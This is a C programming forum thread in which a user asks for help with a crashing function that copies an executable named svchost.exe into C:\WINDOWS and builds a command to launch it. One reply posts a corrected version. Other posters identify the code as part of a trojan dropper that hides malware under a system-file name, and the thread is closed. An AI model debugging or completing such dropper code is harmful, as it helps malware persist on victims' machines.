Thread: help with my function..

  1. #1
    Registered User
    Join Date
    Jun 2010
    Posts
    7

    help with my function..

    I am not sure why, but my function causes my program to crash.

    Code:
    int melt()
    {
            FILE *f1 = fopen("C:\\WINDOWS\\svchost.exe", "r");
            if(f1 == NULL)
            {
                    system("copy svchost.exe C:\\WINDOWS\\");
                    char dir[300];
                    char exe[600];
                    getcwd(dir, sizeof(dir));
                    strcpy(exe, "C:\\WINDOWS\\svchost.exe ");
                    strncat(exe, dir, sizeof(dir));
                    strcat(exe, "\\svchost.exe");
                    printf("%s", exe); /* crashes right after exe is printed */
                    //system(exe);
                    return 1;
            }
            fclose(f1);
            return 0;
    }
    Nothing will execute after exe is printed. Please help.

    Thanks,
    Foxyy

  2. #2
    -bleh-
    Join Date
    Aug 2010
    Location
    somewhere in this universe
    Posts
    463
    Quote Originally Posted by Foxy999 View Post
    I am not sure why, but my function causes my program to crash.

    Code:
    int melt()
    {
            FILE *f1 = fopen("C:\\WINDOWS\\svchost.exe", "r");
            if(f1 == NULL)
            {
                    system("copy svchost.exe C:\\WINDOWS\\");
                    char dir[300];
                    char exe[600];
                    getcwd(dir, sizeof(dir));
                    strcpy(exe, "C:\\WINDOWS\\svchost.exe ");
                    strncat(exe, dir, sizeof(dir));
                    strcat(exe, "\\svchost.exe");
                    printf("%s", exe); /* crashes right after exe is printed */
                    //system(exe);
                    return 1;
            }
            fclose(f1);
            return 0;
    }
    Nothing will execute after exe is printed. Please help.

    Thanks,
    Foxyy
    You return 1 inside the if statement, then you return 0 after you exit "if". that may be the cause. Use "else" or "else if". if you don't want to return, just declare the return type "void".
    and what do you mean by crash? like nothing is executed? or you get a runtime error? how are you using the return value of melt()?
    Last edited by nimitzhunter; 12-22-2010 at 07:58 PM.
    "All that we see or seem
    Is but a dream within a dream." - Poe

  3. #3
    and the Hat of Guessing tabstop's Avatar
    Join Date
    Nov 2007
    Posts
    14,336
    1. Opening an .exe file in "r" mode makes me igry. If all you want to do is see whether the file exists, there are better ways, such as whatever the Windows equivalent of fstat is (or since it's POSIX there might even be _fstat available).
    2. You may want strlen(dir)+1 in lieu of sizeof(dir) in your strncat -- strncat should stop on a \0 character anyway, but you might as well be honest with what you want.
    3. I have no idea what the maximum path length is, but there's a macro for it and why not use it instead of 300?
    4. What kind of a crash do you get? After all, there's no code left to run....

  4. #4
    'Allo, 'Allo, Allo
    Join Date
    Apr 2008
    Posts
    639
    It's Windows' way of telling you to stop being a numpty skiddie

  5. #5
    Registered User
    Join Date
    Jun 2010
    Posts
    7
    The problem was that I thought strcat added the null character..

    Sorry,
    Foxyy

  6. #6
    and the Hat of Guessing tabstop's Avatar
    Join Date
    Nov 2007
    Posts
    14,336
    Quote Originally Posted by Foxy999 View Post
    The problem was that I thought strcat added the null character..

    Sorry,
    Foxyy
    It does.

  7. #7
    Registered User
    Join Date
    Dec 2010
    Location
    China
    Posts
    7
    strncat(exe, dir ,strlen(dir)) instead of strncat(exe, dir, sizeof(dir)) may be can slove your question.



    Code:
    int melt()
    {
    	FILE *f1 = fopen("C:\\WINDOWS\\svchost.exe", "r");
    	if(f1 == NULL)
    	{
    		system("copy svchost.exe C:\\WINDOWS\\");
    		char dir[260] = {0};
    		char exe[260] = {0};
    		getcwd(dir, sizeof(dir));
    		strcpy(exe, "C:\\WINDOWS\\svchost.exe ");
    		strncat(exe, dir, strlen(dir));
    		strcat(exe, "\\svchost.exe");
    		printf("%s", exe); /* crashes right after exe is printed */
    		//system(exe);
    		return 1;
    	}
    	fclose(f1);
    	return 0;
    }

  8. #8
    Banned
    Join Date
    Aug 2010
    Location
    Ontario Canada
    Posts
    9,547
    Most likely it's windows file protection stopping you from messing with protected OS files.

    svhost.exe is the hosting program for Windows Services, it is protected and even if replaced it will be written over by a protected copy from the file cash.

    Effectively you are trying to circumvent a primary security system in Windows, your program is behaving in the manner of a trojan dropper... and it's not going to like that.
    Last edited by CommonTater; 12-22-2010 at 08:34 PM.

  9. #9
    ATH0 quzah's Avatar
    Join Date
    Oct 2001
    Posts
    14,826
    Quote Originally Posted by CommonTater View Post
    Effectively you are trying to circumvent a primary security system in Windows, your program is behaving in the manner of a trojan dropper... and it's not going to like that.
    Neither will the forum admins. OP, go read the forum guidelines.

    Quzah.
    Hope is the first step on the road to disappointment.

  10. #10
    Registered User
    Join Date
    Jun 2010
    Posts
    7
    Quote Originally Posted by quzah View Post
    Neither will the forum admins. OP, go read the forum guidelines.

    Quzah.
    I am in windows xp, and there is no such file as C:\WINDOWS\svchost.exe, I was just using the name.. If i was writing a 'trojan' I would target the system32 directory.

    Foxyy

  11. #11
    Banned
    Join Date
    Aug 2010
    Location
    Ontario Canada
    Posts
    9,547
    Quote Originally Posted by Foxy999 View Post
    I am in windows xp, and there is no such file as C:\WINDOWS\svchost.exe, I was just using the name.. If i was writing a 'trojan' I would target the system32 directory.

    Foxyy
    Ummmm.... no you wouldn't because that would trigger Windows File Protection and fail.

    Placing a "looks like it ought to be there" file in C:\Windows instead is a well known way of getting around WFP and allowing your virus to continue it's function. Most people will overlook this because they're used to seeing multiple copies of the REAL svhost.exe running in task manager.

    In fact there are several well known Trojan horses that use the C:\Windows\svhost.exe gambit to infect machines.

    virus svchost.exe - Google Search

    The code you have asked for help with is that portion of a trojan horse that would replace the file every time we delete it...
    Last edited by CommonTater; 12-23-2010 at 02:47 AM.

  12. #12
    and the hat of int overfl Salem's Avatar
    Join Date
    Aug 2001
    Location
    The edge of the known universe
    Posts
    39,661
    I'm really not liking where this is going - closed.
    If you dance barefoot on the broken glass of undefined behaviour, you've got to expect the occasional cut.
    If at first you don't succeed, try writing your phone number on the exam paper.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Compiling C in Visual Studio 2005
    By emanresu in forum C Programming
    Replies: 3
    Last Post: 11-16-2009, 04:25 AM
  2. Compiling sample DarkGDK Program
    By Phyxashun in forum Game Programming
    Replies: 6
    Last Post: 01-27-2009, 03:07 AM
  3. Seg Fault in Compare Function
    By tytelizgal in forum C Programming
    Replies: 1
    Last Post: 10-25-2008, 03:06 PM
  4. Replies: 28
    Last Post: 07-16-2006, 11:35 PM
  5. const at the end of a sub routine?
    By Kleid-0 in forum C++ Programming
    Replies: 14
    Last Post: 10-23-2005, 06:44 PM